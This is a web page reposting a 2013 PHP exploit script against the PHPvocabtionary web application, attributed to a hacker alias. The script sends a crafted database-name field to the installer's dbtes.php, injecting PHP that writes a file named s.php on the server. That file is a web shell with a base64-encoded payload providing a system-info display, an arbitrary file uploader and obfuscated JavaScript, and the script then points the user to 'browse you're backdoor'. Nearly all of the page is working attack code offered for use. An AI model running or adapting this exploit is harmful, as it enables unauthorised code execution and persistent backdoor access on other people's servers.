facebook facebook twitter rss

PHPvocabtionary Php code injection

Author: Slotleet , Published: 17-05-2013

#!/usr/bin/php

<?
# Exploit Title : PHPvocabtionary Php code injection
# Date : 5/4/2013
# Author: Slotleet
# Slotleet () GMAIL com
# https://fb.com/Slot.leet
# Vendor Homepage:
http://sourceforge.net/projects/phpvocabtionary/files/latest/download
# Version affected : all
# Tested on: WIN 7 Xd4rk EDITION
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# PHPvocabtionary Multiple Vulnerabilities
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


error_reporting(0);


if (
$argc 3){
echo 
"+---------------------------------------+\n";
echo 
"+    Usage : $argv[0] localhost /vio     +\n";
echo 
"+---------------------------------------+\n";
    die();
}


$site $argv[1];
$dir $argv[2];

$b4ckd00r '";$fp = fopen("s.php","w"); fwrite($fp,"<?php
eval(base64_decode(\'ZWNobyAnPGI+PGJyPjxicj4nLnBocF91bmFtZSgpLic8YnI+PC9iPic7DQplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOw0KZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7DQppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7DQoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGI+VXBsb2FkIFNVS1NFUyAhISE8L2I+PGJyPjxicj4nOyB9DQoJZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBHQUdBTCAhISE8L2I+PGJyPjxicj4nOyB9DQp9DQplY2hvICc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPk1MPSJSam5pcy9lIC5ySTx0aHpQUy1vbVRDZz46PXAiO01JPSI7QEUwOj9EN0AwRUk9PDxKSDU1PkIyNkE8OEI5RjUzQ0Y0NT44MTRHOzVARTA6P0RHIjtPVD0iIjtmb3Ioaj0wO2o8TUkubGVuZ3RoO2orKyl7T1QrPU1MLmNoYXJBdChNSS5jaGFyQ29kZUF0KGopLTQ4KTt9ZG9jdW1lbnQud3JpdGUoT1QpOzwvc2NyaXB0Pic7\'));");"'
;

$sl0t=array("dbName"=>"sl0t$b4ckd00r",
          
"dbUser"=>"sl0t",
          
"dbHost"=>"sl0t",
          
"dbPass"=>"sl0t",
          
"dbPrefix"=>"myvcb_"
          
);

$ch curl_init("http://$site$dir/install/dbtes.php");
curl_setopt ($chCURLOPT_POSTtrue);
curl_setopt ($chCURLOPT_POSTFIELDS$sl0t);
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);

$result curl_exec($ch);

if (
$result){

echo 
"+---------------------------------------+\n";
echo 
"+ Check http://$site$dir/search.php +\n";
echo 
"+---------------------------------------+\n";

echo 
"maybe exploited :D \n\n";
echo 
"now go to http://$site$dir/install/s.php to browse you're backdoor \n";
}

?>

Like us on Facebook :